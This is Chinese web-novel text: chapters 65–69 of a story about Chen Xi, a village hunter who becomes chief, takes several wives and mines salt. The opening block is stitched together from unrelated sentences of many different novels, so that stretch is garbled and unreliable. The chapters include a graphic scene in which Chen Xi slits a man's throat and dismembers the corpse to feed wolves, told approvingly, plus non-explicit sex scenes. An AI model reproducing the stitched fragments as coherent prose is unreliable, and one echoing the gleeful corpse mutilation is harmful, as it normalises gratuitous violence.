没有套路,没有模板化,没有金手指,酷就完事了。就好像蓝思琳不介意扳下变道拉杆害死四条无辜的生命一样。没有意义,但很酷。
“擦,这个是什么鸟东西呀。”林杰发现此时自己躺在地上一动都不动不了。
大约在曾浩二人来到后的一顿饭的时间之后,这些冰雕之中那两尊盘膝而坐的冰雕突然一震,下一刻,二道蓝色遁光冲天而去,撞破冰洞之顶,直冲天际。
刘云飞又看了他一眼,看见他讪笑的神情似乎不像是有意也就算了。继续两箭把这个占星草怪杀死。
两人的声音,轻轻的回荡在院子里面。突然的,还增添了不少的暧昧。季商南,他怎么有着那么多的故事呢?让洛瑾诗不自觉的,就有些爱上他了。
“皇上叔叔……”上官灵幽急切的想知道到底出了什么事,可以让这仿若天人般强大的叔叔父王出现这样的表情。
“你们三个,给我跪下”上官无极一个转身坐到椅子上,冲着还在发呆的三人怒吼道。
曾浩一咬牙,收起了大斧,身上蓝光一闪,下一刻,自己身上同样燃烧起了火炎。
更是多次救曾浩于生死之间,可谓是曾浩所有法宝之中,苍龙剑占者很高的一个地位。
第一卷 第64章 叶红缨的误会
当一批批藤条和木料被运回来之后,官吏们开始组织民夫们编织箩筐,组织俘虏们把木料的树皮剥掉让木料在阳光下暴晒。
秦蓁这几日都在忙着府上的庶务,还有族中之事,也没有旁的心思。
虽然它不知道该怎么找到仙姿玉露,但是她还是很开心,忍不住伸出手摸了摸它的头。
可是不是都说八年前就死了吗?怎么会突然出现?所有人强压着心头的震惊,与‘姚雪’相互见过面。
卜旭邀请了308宿舍的兄弟们,段冬生回家了,其他四个牲口都来了,卜旭还邀请了自己的三个员工,大家也都乐呵呵的来了。
不过还不等秦蓁反应过来,便见桌上的茶壶却突然从二楼隔间内直接飞了出去。
这句话带着尖锐的钩子,一点点钩入肝肠,百里洛川垂下眼眸,无声的笑了笑。
迦夜肺里面的空气也是有限的,更何况还有林倾城这个毫无节制的丫头,没多久,他便感觉到了呼吸困难。
糟老头是惜命之人,行走江湖这么多年,过着刀尖舔血的生活,他从来不大意,梧桐的攻击强度,对他有威胁,所以,他干脆利落的施展出了大龟甲术,让自己提前立于了不败之地。
然而往回走的时候那就不一样了,往回走没有什么心理压力,因为直接走到起点脱离火海就可以,那就是最后的目的地。去的时候没有什么目的地,也不知道前方到底有些什么东西,所以脚步必须慢慢的。
“当然,如果你下次想喝酒,完全可以给我打电话,我可以来充当护花使者。”凌晨自荐。
耸了耸肩,沈幕雨笑了笑,没有说话,不过意思已经是很明显了。
就在火焰巨龙消失的同时,乌法胸中一阵翻腾,一团血雾喷涌而出,那惨白的脸现在已经变成了青色,火焰巨龙那庞大鲜血的流失让乌法的身体受到了前所未有的打击。
黑子的身体成平行状,那绿色东西已经盖过了他的脚,我看到黑子痛苦的挣扎着,我拽着他的手,都能感觉到他全身上下在不停的颤抖着,我憋住一股劲儿,猛的把黑子从海草堆里拉了出来。
“你总盯着我看干嘛?我脸上有花吗?”沈幕雨转过头,看了一眼从上车就一直盯着自己看的晓道。
李世民真气急了,浑身颤抖,也顾不上皇帝的颜面了,冲上前就是一顿拳打脚踢。
原来这修魔者不仅仅只是狂妄,他还有他狂妄的本钱,独角兽的皇者败了,那么他就只有两个选择,要么就是成为修魔者的坐骑,要么就是死。
不过持王馨儿这种看法的,也只是极少数人而已,大部分都没有见过这种场面,反而觉得很兴奋。
“这次你把绳子带过去,和麦老他们一起把绳子抓住,我们在这边把绳子抓住,剩下的人,只能抓着绳子过桥了,不能再绑在身上了。”这样两边都有力量支撑,要是单靠我这一面,越往后这人就越少,太危险了。
“你……”张千峰本以为他是第一个理解伍华意思的人,却没想到还有人在他前面,顿时恼怒不已。
今天对于鲲来说很不走运,打击一轮接着一轮,其实就算刚才它逃跑,玉炎尊者也没有想放过它的意思。
”怎么去呀!现在公司这么多事,还有几个游戏的投资要确定下来,我根本就没有时间呀!“岳檀溪是说道。现在确实是真的忙。
看着她们,他觉得这些人真可悲,明明都是有钱人,可过的就是穷日子。
虽然前往邪恶洞窟的路程不近,但是作为经营修理传送杖生意的林权两人,还怕没有传送杖用来赶路吗?
“话虽是这样说,鬼子确实是杀一个少一个,可是你想过没有,我们要花多大的代价才能杀死一个鬼子?杀死一个鬼子我们要牺牲多少人?”田忠歌看着老太婆说道。
然后还是在希德的示意下,她男友夫达伦·利加洛才搀扶着艾米一路穿过众人,走向颁奖台,路上还有不少名人向他祝贺致意。
但还有一部分则认为,人是贪心的,既然有机会当唯一的霸主,又怎么可能将权利分给其他人呢,所以战争必然会到来,至于会不会如将领们所预料的会是在二十年之后,对此的态度就更加复杂了。
看了一眼剩下五分钟不到的时间,再看了看第九十五关,屠夫决定咬着牙拼了。
听到刘思娟的话,吴言没有再挂断,于是拿起手机的,接通来电。
嘛~云伪娘神马的我们就放在一边好了,天上似乎又有雪花开始落下,虽然暂时还不影响晚会的进行,不过如果再大一些的话恐怕就只能收场了。
终于,擂台上已经只剩下萧问和岳瀑两人,皆是缓步向擂台心走去,最后隔了十丈站好。
第65章 窝窝村的新村长
叶红缨走后,陈息搂过樊妍护在怀里。
娘子还是太善良了,左右不过一个土匪而已,至于是不是大伙嘴里说的不针对百姓,他并不在意。
不针对百姓的土匪又能怎样?
惹了我,也要死。
不就鹰嘴山么,我记住了,洗干净脖子等着吧。
通过这件事给他敲响了警钟。
原本想带着三个娘子好好过日子,但现实已经不允许了。
自己树大招风,现在只是鹰嘴山的土匪来****,附近那么多山头,保不齐谁还会动起歪心思。
看来必须要发展一支武装力量了。
不然在这个乱世,很难生存下去。
深呼出一口气,对着樊妍轻声道:
“娘子,带着瑶瑶蓉蓉回家吧,我这边处理完就回去。”
樊妍抬着头望着夫君温柔的眼神,抿了抿嘴唇又要哭出来,她怕极了,想时时刻刻待在夫君身边。
秦瑶和白蓉蓉也哭着过来,站在那里泪眼巴巴的望着陈息。
“哈哈哈,不要怕,夫君很快回家。”
又将两女搂在怀里轻声安慰。
他知道三位娘子吓怕了,但有些事情必须去做。
“嗯。”
听见夫君说很快回家,樊妍抽着鼻子回答,眼泪终于流了下来。
“好了回去吧。”
陈息松开她们,目送三女离去。
樊妍三女擦着眼泪几步一回头,始终对上陈息冲她们微笑。
几女终于消失在村口。
陈息转过身来,目光已经变成森寒。
把刀架在张保全的脖子上,猛地一划,血箭直喷三尺。
这一刀没有切下脑袋,脖子上半片血肉相连。
宁乱很有眼力见,上前解开张保全,扑通一声,尸体倒地。
“拖着他,跟我走。”
“好嘞大哥。”
宁乱不知道大哥要干啥,但大哥说的就是对的。
陈息在前面走,宁乱拖着张保全的尸体在后面跟着,村路上留下大片血痕。
不多时,便来到大山。
“嗷——”
“嗷——”
寂静的大山传来几道狼嚎,惊起几只松鸡飞向远处。
陈息四下看了看,满意的点点头。
“就这里吧。”
宁乱将张保全的尸体丢在地上,转身就走。
但没走几步,发现大哥没跟来,疑惑的回头,看见陈息正对着自己翻白眼。
“嘿嘿大哥,那个......”
宁乱有些懵,尴尬的挠挠头,不是抛尸嘛,抛完了还不走?
“就这么放这了,那些小动物怎么吃?”
陈息白了他一眼,看你那个样子,就知道没喂过狗。
缺乏生活常识。
“好嘞好嘞大哥。”
宁乱小跑回来,大哥说小动物没法吃,那我就把他肚子挑开。
他自作聪明,拿过猎刀就把张保全的肚子豁开,然后满意的点点头。
嗯,这回行了,就算耗子也能过来咬两口。
扛着猎刀转身就走。
走几步又感觉不对劲,大哥又没跟来。
转头见陈息白眼都要翻到天上去了。
再次小跑回来,悻悻的待在一边不说话。
大哥这是啥意思啊?
肚子都被豁开了,还不满意?
陈息一把抢过猎刀,瞪了宁乱一眼,心里骂了一声二货。
“学着点。”
拿着猎刀从张保全的菊部**去,由下至上狠狠一刀挑开。
大开膛。
内脏全部露了出来。
用猎刀挑起内脏往周围扬开,再把四肢斩成好几段,一刀割下脑袋踢飞好远。
在张保全身上擦干净猎刀上的血,大喝一声:
“平时总来猎你们,今天给你们送点吃食。”
话音落下,远处立即回应几声狼嚎,双方无形中达成一种默契。
陈息将猎刀塞给宁乱,像个没事人一样,掸了掸身上,又拍了拍本就干净的手。
“回家。”
陈息在前面走,宁后在后面跟着,时不时回头看看东边的张,西边保,北边的全。
狠劲的咽了口唾沫,又摸了摸后面,只感觉屁股发凉。
大哥真牛逼,将山里小动物照顾的太周到了。
真是个贴心的大哥。
可不是贴心嘛,张保全的心脏都被大哥挑到树上了。
回到家中,张婶带着几个妇人陪在樊妍三女身边,二牛带着村民处理土匪的尸体。
两具村民的尸体已经被家人穿好了衣服,准备带回去安葬。
这两人都是光棍,每次送亲队来,他们都跑到山里藏起来。
不是他们不喜欢婆娘,只是他们交不起人头税,故意躲着送亲队。
他们的家人,只有两个老娘。
此刻两个老娘泪眼婆娑的帮儿子穿完衣服,又把家里的褥子都套在了他们身上。
陈息对村里的这个习俗太清楚了,因为他刚来时,自己就没有衣服穿,给哥哥穿了下葬。
从马车里拿出今天买的新袄,帮两位老娘穿在他们儿子身上。
当着所有村民的面,掏出两串钱,塞到两位老娘手里。
“回去把儿子安葬好,你们今后的生活,我管了。”
两位老娘顿时跪地,她们本以为儿子**,自己也没人管了。
活不了几天了。
没想到陈息竟会给他们钱,还说要管她们今后的生活。
两位老娘不敢置信,激动的说不出话来。
陈息将她们扶起,安慰道:
“你们的儿子**,我以后就是你们的儿子。”
“从此二位老娘的一日三餐,我都叫人送去,我吃什么,你们就吃什么。”
两位老娘再也忍不住失声痛哭:
“我们怎么敢啊......大恩人呐...”
樊妍几女也忍不住哭泣,若不是村民拼死相护,土匪是万万打不跑的。
都上来安慰两位老娘。
陈息叫来
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村民帮两位老娘的儿子抬回去下葬,将院子里的血迹统统打扫干净。
一顿忙活下来,小院又恢复了原来的样子。
村民们忙活完,都在院里站着没走。
陈息出来,对着大家喊道:
“今天打土匪负伤的村民,每人200个铜钱,养伤的日子,工钱照发。”
“今天所有到我家帮忙打土匪的村民,无论男女老幼,明天都可以来我这做活计。”
“男工15个铜钱,女工10个铜钱。”
陈息大手一挥,腰里有钱,说话就是硬气。
他早就想好了,土匪袭村的事不是偶然,而是必然。
今后这种事,还会发生。
现在自己实力弱,不是土匪的对手,必须要团结所有村民,大家在一起报团取暖。
等山里盐矿成型后,这些村民还可以分配到自己产业当中。
村民们一听有活计做,还有那么多钱拿,一个个高兴的直跳脚,高呼陈息大恩人。
将所有银锭子都交给姜瑶保管,她以后就是家里的钱袋子。
“参与打土匪的都到我二夫人那里取钱,都散了吧。”
经过这一折腾,都快到半夜了,三个娘子都吓坏了,今晚一定要好好安慰安慰她们。
村民也不取钱,也不走,好像都商量好了一般。
二牛从人群中站出来,对着村民们大喊:
“我们窝窝村的村长**,从今以后陈息就是我们的村长,大家说好不好?”
二牛早就跟村民们商量好了,张保全勾结土匪残害村民,死有余辜。
但是窝窝村没有主持大局的人不行,陈息就是最好的人选。
不光带着大家做活计有工钱拿,而且为人仗义,处处为大家考虑。
简直是村长的不二人选。
“好好好。”
村民们炸开了锅,都高喊着陈息当村长。
陈息深吸了一口气,放在以前,以他的性子绝不会干这么操心的事,但是现在不一样了。
外部有了土匪威胁,将来指不定还会出来什么幺蛾子,这个村长他必须要当。
“好,既然大家都捧我当村长。”
话音一顿,全场安静,村民们都一脸期盼等着陈息的决定。
陈息扫视四周,声音不怒自威:
“有句老话,叫做当仁不让,这个村长我当了。”
人群沸腾,陈息当窝窝村的村长,就是众望所归。
陈息一挥手,大家瞬间安静。
“从此后,我带领大家一日三餐,不再挨饿!”
这不仅仅是个承诺,而是对这个时代的咆哮。
陈息话音掷地有声,要想在这乱世活下去,必须要网罗所有力量为自己开道。
他不再沉默,而是勇敢的站出来,对抗这个万恶的时代。
鹰嘴山这个地名深深印在他的脑海里,等组建好武装力量,第一个就是灭了他。
敢伤我娘子?
那就没必要存在了。
第66章 得偿所愿
樊妍三女望着陈息高大伟岸的身形,眼神都要拉丝了。
此刻的夫君在三女心中已是光芒万丈,只要有夫君在,就算天塌下来,夫君也能将它捅破了。
可她们不知道,陈息不光能捅破天,还能捅破点别的......
毕竟是捅嘛,他擅长这个。
宁乱站在一边傻笑着,大哥这种鼓舞人心方向,气势比军队里的百夫长都盛。
心里坚定信念,这辈子跟定大哥了。
要他**,也毫无怨言。
士为知己者死!
村民欢声一片,发誓好好为村长做活计,跟着村长干,以后再也不担心饿死的问题了。
陈息拉过张婶和几个曾经帮助过自己的妇人,将以后做饭的工作交给她们,张婶和夫人们爽快答应。
“好,领完钱都散了吧,别耽误老子搂娘子睡觉。”
陈息笑骂了一句,与村民的关系在无形中拉近。
村民们在二夫人那里领了钱,一个个都美滋滋离开。
送走了村民,只剩下宁乱一个外人了。
陈息拉过他,很是郑重道:
“乱子,谢了。”
宁乱被这句话差点吓的跪地上,大哥是自己全家的恩人,怎可说谢字。
“大哥,这都是我应该做的。”
陈息点点头,抬眼看了看天色,已是半夜。
“这么晚了,你身上有伤就别回去了,在这睡吧。”
宁乱使劲的挠挠头,抬眼看了一下不大的炕,为难道:
“大哥,我还是回去吧,明早我再来。”
陈息很担心他一人回家,上河村毕竟是外村,保不齐路上有漏掉的土匪。
“没事,就在我这住吧,你睡我的位置。”
宁乱闻言,这次是真跪了。
大哥你要杀我就直说吧,火炕就那么小,三个嫂嫂还在这里,打死他也不敢啊。
陈息见他那副怂样,瞪了他一眼。
想屁吃呢?
拍了拍他的脑袋,向外面一努嘴,只说出三个字:
“跟我来。”
宁乱低着头跟着,不知道大哥要干嘛,不是让我睡你的位置嘛?
拉开另一间屋门,抬手一指干草堆:
“以前这就是我的位置。”
宁乱愣住,这堆干草是大哥的位置?
大眼珠子四下扫了一圈,土墙四处漏风,不比外面强多少的。
“来,乱子。”
陈息将他摁在干草堆里,还贴心的教他怎么睡:
“你这边肩膀有伤,底下多垫些草。”
陈息将他的身子侧过来,把他双腿弯曲靠拢:
“这边墙角有冷风,别吹到腿。”
宁乱不敢乱动,大哥真是贴心,还担心我吹到腿。
安排好了睡姿,再贴心的为他盖上干草,照着屁股就一脚:
“晚安!”
砰的一声关上屋门就走。
小兔崽子还想睡炕,那个叫什么茹给你的勇气么?
宁乱躺在四处漏风的屋里,心里想着,大哥应该是有经验,这个睡姿果然没被冷风吹到。
抬眼看着屋顶,顺着几个窟窿还能看到繁星点点。
这屋不比敞篷的强多少。
就在宁乱要睡之际,屋门再次打开。
陈息一脸坏笑的抱着几床崭新的棉被进来,丢在宁乱身上。
“别踏马冻**,盖上。”
“嘿嘿,谢谢大哥。”
陈息砰的一声关上屋门离去。
宁乱将被子裹上身上,傻笑一声:
“嘿嘿,真暖和。”
陈息回到屋里,樊妍立即扑到他怀里,小脸紧贴他的胸膛,无言,却胜过千言万语。
“别怕,夫君在这呢。”
陈息下巴摩挲着她的头发,轻拍她的后背,轻声道:
“好了,睡吧。”
“嗯。”
樊妍上炕,秦瑶和白蓉蓉渴望的望着陈息。
两女要抱抱的眼神毫不掩饰。
陈息张开怀抱,一脸微笑冲她们点头:
“一起。”
两女立即扑到他怀里,温存了好一会才恋恋不舍的脱离。
吹灯,睡觉。
这次四人的位置有些不同,陈息以保护三女的由头,坚决选择睡在了中间。
左边是樊妍,右边是秦瑶,再右边是腮帮子气鼓鼓的白蓉蓉。
陈息转过身来,对上一脸臊红的樊妍,由于她睡的是炕头,不知是热的,还是羞的。
她怎能不知道夫君的小九九,刚才抱自己时,还偷偷摸了几下那里......
还......还怪......怪舒服的......
陈息大手准确的摸到她的腰间,正是上衣和下衣的交界处。
将她的身子往自己这边蹭一蹭。
樊妍食髓知味,这次不像上次般羞臊,缓缓闭上眼睛,等待夫君采摘。
双唇印了上去,不多时便传出嗽嗽声,品尝滋味的同时,大手顺便还旅个游。
山河挺秀,波澜壮阔,游历大半个地图。
两人情意正浓,一翻身进入主题。
一切都是那么的水到渠成,顺理成章。
半个时辰。
在樊妍苦苦求饶下,鸣金收兵。
秦瑶,白蓉蓉哪里睡得着?
都红着脸望着屋顶,心思都不知飘
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到哪去了。
秦瑶见那边偃旗息鼓,鼓起勇气翻身,正对着陈息。
学着大夫人的样子缓缓闭上眼睛,两瓣红嘴唇还故意向前努了努。
其中意味不言自明。
她不像樊妍,早就想通了。
夫君今天把家里财政大权交给自己,这是对她莫大的信任。
自己此时不主动,等待何时?
可不能让那小鬼精抢了先。
自己怎么说也是二夫人,还是夫君对着村民叫的。
轮也轮到自己了。
陈息哪里不知秦瑶的小心思,但......
多少还是有些不好意思,舔了舔嘴唇,回头看了看装睡的樊妍,又转过来看了看面前的两瓣。
这......
就在陈息心中天人交战之时,樊妍一只小脚踹在他屁股上。
“去吧......瑶瑶等着呢...”
樊妍也早想通了,自己这弱弱的身子根本侍候不好夫君,刚才以为自己能行,结果还是在夫君蛮牛般身体下,败下阵来。
再说了,瑶瑶和蓉蓉都是夫君的娘子,自己作为大夫人必须要开明,不能独自占着夫君。
今天正好,借此机会成全了瑶瑶心意。
陈息闻言一愣,随即大喜过望。
还是娘子懂事,深明大义。
转身对着秦瑶那张垂涎欲滴的红唇,再也把控不住。
由于秦瑶是第一次,陈息不敢太生猛。
一切以慢节奏进行。
这一慢。
又是半个多时辰过去。
在一声闷哼中,结束战斗。
秦瑶身子要比樊妍强一些,在陈息的温柔下,还是有些受不了,毕竟还是第一次。
将身子交给夫君,秦瑶偷偷将下面一张白手帕收起,上面点点落红,尤为珍惜。
这次也不藏着掖着的了,左边搂着樊妍,右边搂着秦瑶,三人美美的进入梦乡。
留下最右边的白蓉蓉一人,一双卡姿兰大眼睛望着屋顶,泪水不争气的流了下来。
明明是我最先发现后院的土匪,我先拿着砖头砸他,还是第一个咬他。
明明是我最勇敢,夫君为什么不奖励我,呜呜呜。
白蓉蓉很鬼精,早就看出秦瑶要抢先的意思。
不过她还想争取一下,说不定二夫人位置就是自己的。
可是天不随人愿,就是没轮到她。
有人失愿,就有人得偿所愿。
翌日,清晨。
陈息伸了个懒腰,神清气爽。
今天的工作正式开始。
下面的一切计划,都离不开钱。
进山,搞盐!
第67章 野豹
陈息起得非常早,梳洗完毕,开始准备上工。
不多时,院外已经聚齐了做活计的村民,由于昨晚打土匪的人多,此刻已经来到40多人。
足足比以前多了一倍。
交代了二牛带领大家做活计,午饭的问题交给张婶和几个妇人。
樊妍统筹全部,白蓉蓉协助。
结算采买交给秦瑶,宁宁协助。
一个简易的草台班子搭成。
宁乱有伤,暂时回家休养,等伤养好了,估计陆达那边的50个外族劳力也该到了。
到时候宁乱先带着他们在深山采盐矿,等熟悉了工作就开始要组建力量了。
因为土匪的意外来袭,所有的事情都要开始布置。
“大哥,我这伤没事,就让我跟着大家做活计呗。”
宁乱闲不住,大哥对自己这么好,怎么能够白吃饭呢。
“乱子,你出来,我问你点事。”
“好嘞大哥。”
两人来到院外,陈息开始问出心中问题。
“你在上河村,有没有认识的木匠和铁匠。”
宁乱歪着脑袋想了想,想了半天也没想起上河村有这种人,无奈的摇摇头:
“大哥,我们上河村没有。”
陈息叹息一声,他知道这些工种的能人都被朝廷工部调集走了,前线打仗,正是缺少军械的时候。
看来要做些什么东西,只能到县里找工匠定制,这样的话,效率大打折扣。
他本想着做些连**给村民们护身,但缺少人才是最致命的。
自己总不能整天窝在家里造武器吧。
见到陈息失望,宁乱挠挠脑袋问道:
“大哥,你问这个干啥?”
“想做些东西,又抽不开身,只能有空到县里找工匠了。”
“大哥,你找木匠和铁匠干啥?”
陈息盯着宁乱,然后一脸期待的问道:
“我要做些特殊的武器,需要木匠和铁匠,这些你会?”
“不会。”
宁乱回答的老干脆了。
陈息白了这个二货一眼,你不会你问啥,害得自己白期待一回。
“我们上河村没有,但是别的村有啊。”
陈息恨不得给这二货一脚,一根筋是吧?我说上河村就是上河村啊?
陈息指着宁乱的胸脯子,以命令的口吻问道:
“说,不止你们上河村,周围所有的村子,你认识多少个木匠铁匠?”
宁乱脑袋又歪向另一边,一边想一边算一边说:
“下河村有3个,东庄2个,湖岭3个......”
宁乱捏着手指头算,很快10根手指就不够用了,想脱鞋......
“行了行了行了。”
陈息赶紧打断,用看二比的眼神看着宁乱,开口道:
“你,挨个村子去找,我出双倍的工钱,给我找来5个木匠5个铁匠。”
说完还不放心,抓过宁乱的双手,挨个手指头掰开,认真道:
“1根手指1个人,你这里一共是10根,给我找10个人。”
宁乱撇撇嘴,一脸不服气道:
“不就是10个人嘛大哥,我又不是不会算数。”
陈息心想,你会算数?你会算数刚才手指头不够用了,脱鞋干嘛?
“行,就是10个人,事不宜迟,你现在就去找。”
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>宁乱听完大哥的吩咐,立即拍着胸脯子保证道:
“好嘞大哥,这事包上我身上,没有错不了的事。”
“行,去吧。”
送走了宁乱,陈息挠着脑袋狐疑,刚才这小子说,包在他身上啥来着?
想半天没想起来他后面那句话,索性不想了,找出工具丢在马车上。
今天任务异常繁重,盐矿周围全部下满猎套,划出一道界限,附近不许有大型野兽。
与三位娘子告别,在樊妍和秦瑶的脸蛋上各香了一个,唯独落下白蓉蓉,气得她鼓鼓的。
昨晚气一顿,今早再气一顿。
每天两顿,身体好。
赶着马车出发,直奔山脚下,前面马车已经上不去了。
修路也要提上日程。
白天,目力极佳,陈息带足装备和猎套,轻车熟路直奔深山,
距离盐矿附近时,开始小心翼翼接近,不知道今天运气怎样,有没有鹿群舔盐。
找到一棵大树爬了上去,远远一看,果然。
上百只野鹿围在盐矿附近,外围壮年野鹿放哨,里面是鹿群。
陈息咧嘴一笑,正准备悄悄下树找个隐秘的地方射击。
突然。
鹿群惊动,所有鹿停止舔盐,把头扬起警惕的观察一处树林,耳朵竖起鼻子朝着那个方向使劲嗅。
陈息眯起眼睛,能让鹿群惊动的,一定是猛兽,而且就在附近。
顺着鹿群警惕的方向望去。
由于他在树上,视野很开阔,树林中一块凸起的巨石后面,一个东西探出脑袋,后肢蓄力。
看到它的一刹那,陈息眼露精光。
野豹。
第68章 留下当牲口
野豹藏在巨石后面,从四肢抓地力来看,马上进入袭击。
不出意料,鹿群警觉时,野豹发动攻击。
从野豹窜出身子的那刻,鹿群几乎同时逃跑,而且位置还是自己所在的方向。
距离较远,但野豹的花纹很好辨认,陈息的视线牢牢锁定在它身上。
由于鹿群惊慌逃跑,原本保持的队伍瞬间被野豹冲散。
鹿群中一只未成年的小鹿被野豹成功捕获,大部队跑出几百米后,才驻足不停的嗅着野豹的方位。
陈息眼神火热的盯着捕食的野豹,在他眼里,那就是娘子们的豹纹啊。
豹纹这种东西,怎么可能穿在野豹身上呢?
必须要穿在三位娘子身上啊。
不公平!
绝对的不公平!
偷我娘子衣服穿,此仇不共戴天!
但野豹捕猎成功,牙齿咬在小鹿脖子处,瞬息间,小鹿不再动弹。
野豹四周扫视一圈,发现没有其他猛兽的踪迹,才拖着小鹿朝远处深山离去。
看来这片盐矿是它的领地,守着食草动物的**地,它的日子过得可太美了。
不行,陈息最看不惯这种饭来张口衣来伸手的日子,必须要给它造成点挫折。
何况它还穿着娘子的衣服。
但野豹今天已离去,暂且放它一回。
野豹虽然走了,但鹿群还未走,正在自己的射程之内。
鹿群们见野豹离去,小心翼翼的嗅着味道,它们还想去舔盐,不忍离去。
陈息躲在树上,手中已经捏好了三支羽箭。
由于鹿群密集,不忍放过这千载难逢的机会,这次玩把大的。
**箭槽只有容纳一只羽箭,他要来个三支速射。
屏气、凝神、调整呼吸。
选择三只最大的**,弯弓搭箭。
下一瞬。
嗖——嗖——嗖。
三箭间隔非常紧密,几乎达到了瞬发。
由于三只**的注意力,全在野豹离去的方向,几乎没来得及反应便被射中。
鹿群一哄而散,瞬间逃没了踪影。
只留下地上三只还在抽搐的**。
羽箭射的非常准,从后背贯穿心脏,瞬间失去行动能力。
“漂亮!”
两个字脱口而出,这还是到了这个世界第一次使用**,威力不比前世用的差很多。
跳下大树,陈息咧嘴一笑,迅速来到**身边。
细细抚摸一下皮**的触感,然后皱了皱眉。
手感虽然很柔顺,但论起感官刺激,照比豹纹可差太多了。
砸了咂嘴,完全没有欲望。
不过这三只**都是成年,每头都有200斤左右,算是不错的肉食来源。
可惜的是,三只**,两只雌性,一只雄性,只有一副鹿角。
不过聊胜于无,鹿角这东西温肾阳,强筋骨,绝对是上等补品。
三只**,陈息用了两个来回才搬到盐矿。
心中不禁开始怀念宁乱,要是有这牲口在,他自己就能扛着走。
挖了一个雪洞,将**掩埋在这里,尽量减少血腥味。
这里是那只野豹的领地,保不齐就会与别的猛兽领地重叠。
万一和山中之君重叠,老虎闻着血腥味前来,那乐子可就大了。
能保险,尽量保险。
现在不是采矿的是时候,首先要把附近的猎套下了。
一圈一圈向外扩展自己的势力范围。
不用老虎,他现在就与那只野豹的领地重叠了。
拍了拍手,开始工作。
第一圈的猎套,涵盖方圆3公里范围,做好了一切,时间已经过了晌午。
下猎套是极其浪费体力的活,不光要有丰富的经验,还要靠力气勒紧树木。
陈息回到盐矿,一屁股坐在地上,掏出干粮、肉干开始补充体力。
吃饱了饭,体力恢复,开始采矿。
这次将盐矿砸碎,装进麻袋里。
昨天在县里买了最大号的麻袋,一只麻袋能装200斤矿粉。
足足装了10个麻袋,才坐下缓些力气。
他原本打算今天多运回去几袋,剩下的储存在这里。
但三只**是不可能留在这的,若是被那野豹发现,自己反倒成了打工豹。
这种亏本的买卖他是不会干的。
计划有变,将9个麻袋埋进雪洞,剩下一袋必须要运回去。
因为给宁乱和村民治伤,家里的精盐已经没了。
看了眼天色,距离太阳落山还有些时候。<
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br>砍下两棵小树,做成简易木筏,将三只**和一袋盐矿摆在上面。
牵引木筏的绳子挂在脖子上,像个牲口一样拖着800斤的物资下山。
山路不是很陡峭,借助雪的摩擦力正好能省些力气。
今天必须要早些回去,不然娘子们肯定要害怕的。
上次的土匪事件,绝不允许出现第二次。
再怎么省力,那也是800斤的重量,陈息歇了好几次才筋疲力尽的将木筏拖出深山。
前方一公里,就是马车的位置。
希望就在眼前。
狠狠一咬牙,继续当起牲口的角色,一步一个脚印朝着希望的方向前进。
出了深山,便是起伏不大的平地,更加剧了体力消耗。
陈息低着头,凭着一股狠劲将物资拖拽到马车前。
扑通一声,仰面朝天,大口大口的呼着气。
身上早已被汗水沁透,虽然累的脱力,但收获无疑是巨大的。
缓了足足一刻钟时间,才挣扎的从雪地里爬起,剩下的工作就是驾着马车回家。
坐起身子,想把物资搬到马车上,但抬眼看去,嘴角狠狠一抽。
马车还在。
但马呢?
马车周围布满野狼的足迹,雪地上一大滩血痕。
用脚指头想,也是马被狼吃了。
陈息跪了,这次是彻底跪了。
仰**吼:
“一个张保全不够你们吃的,马保全也被你们吃了?”
“畜生啊,畜生!”
陈息对着大山破口大骂,这次他真的破防了。
一匹马足足50两银子啊。
就踏马这么赔了?
骂完了,他也痛快了。
接下来,摆在他面前的问题是,怎么将物资运回去?
三只**,一袋盐矿粉。
扛着盐回去,鹿就不一定还在了。
野狼能把马吃了,同样能把鹿吃了。
扛着鹿回去,三只600斤,他还做不到。
在留下盐矿,和留下**之间。
他选择了,留下当牲口。
将麻袋和**装到马车上,又将马挽具套在自己身上。
紧了紧缰绳,大喝一声:
“驾——”
牲口认路,拉着马车回家。
第69章 佐千千带着小姨来访
村民们结束了一天活计,拿着从二夫人那里领到的工钱,纷纷喜滋滋的回家。
樊妍望了眼天色,太阳已经落山,夫君仍未归来。
由于被土匪吓怕了,家中没有男人,她们不敢呆在这里。
找来张婶和几个妇人,陪同她们在村口等待夫君。
天渐渐黑了下来,三女都要急哭了。
好在有张婶和几个妇人安慰,她们的情绪才算镇定。
“大夫人莫怕,村长许是忘了时辰,应该马上回来。”
“对啊,一定是有要紧事耽搁了,不然早就回来了。”
众人七嘴八舌的安慰着,突然,远处山里出现一个黑点。
众人吓坏了,黑点很大,该不会是熊瞎子出来了吧。
纷纷喊来村里的男人,手拿着各式武器准备迎敌。
由于昨夜土匪来袭,村民们回去都制作了简易的武器,以防范万一。
黑点逐渐变大,时不时还停下来冒出雪白的哈气。
众人这才看清,那是一驾马车。
白蓉蓉一眼就认出是自家马车,不过夫君不在马车上。
嗷的一声哭了出来,夫君的马车自己回来了,而夫君却不在马车上。
只有一种解释,那就是......出意外了。
樊妍和白蓉蓉也看清了,脑袋嗡的一声,差点晕倒。
缓了一会,三女不顾一切的跑向马车,一边跑一边哭。
夫君若是出了意外,她们三个也没了活下去的希望。
村民们同样紧张,好不容易有个带着大家吃饱饭的村长,当了一天就没了?
这种落差不可谓不大,从村长一下变成狼粪蛋子。
这让他们如何能接受?
跟着三女一起跑向马车,来到近前所有人都瞪大了眼睛。
陈息脖子上套着马挽具,手扶着车辕子,满头大汗,大口大口的喘着粗气。
见樊妍三女哭着跑来,还咧嘴一笑。
“夫君...夫君回来了。”
众人七手八脚的将马挽具卸下,陈息哆嗦着腿搂住三位娘子。
“那个哈,活计有点干猛了。”
樊妍在他腰上狠狠拧了一圈,这次她再也不心疼了,跟着夫君过日子,一天吓三回,这谁受得了。
秦瑶这回也敢了,同样拧着陈息,一脸幽怨的瞪着他。
白蓉蓉手痒,但身子还没给夫君,不怎么好意思下手,只能恨恨的瞪着他,时不时露出两颗小虎牙吓唬他。
“诶,疼疼疼。”
陈息赶紧求饶,没看出两位娘子平时这么温柔,下手还疼重的。
连番求饶下,才随着三位娘子回家。
村民将**和盐矿搬下马车,一个个在心里都佩服村长。
才出去一天功夫,就猎了三只**,闲着没事还运回来一袋沙子。
不光佩服村长的狠劲,同样佩服村长的目光长远。
砖头烧好了那么多,确实需要砂子和泥。
在心里都为陈息竖起大拇哥。
这么顾家的男人,世间少见。
“谢谢大伙了,都回去吧。”
陈息见东西都运回家了,第一时间撵人。
一会还要提纯精盐呢,那可是自己的独门手艺,不能被他们看见。
“好的村长大人,那我们就不打扰村长搂夫人们睡觉啦。”
村民们和陈息的关系越来越近,有些胆大的都学会了打屁。
“行了,都滚犊子吧,我使点劲给你们造个小村长出来。”
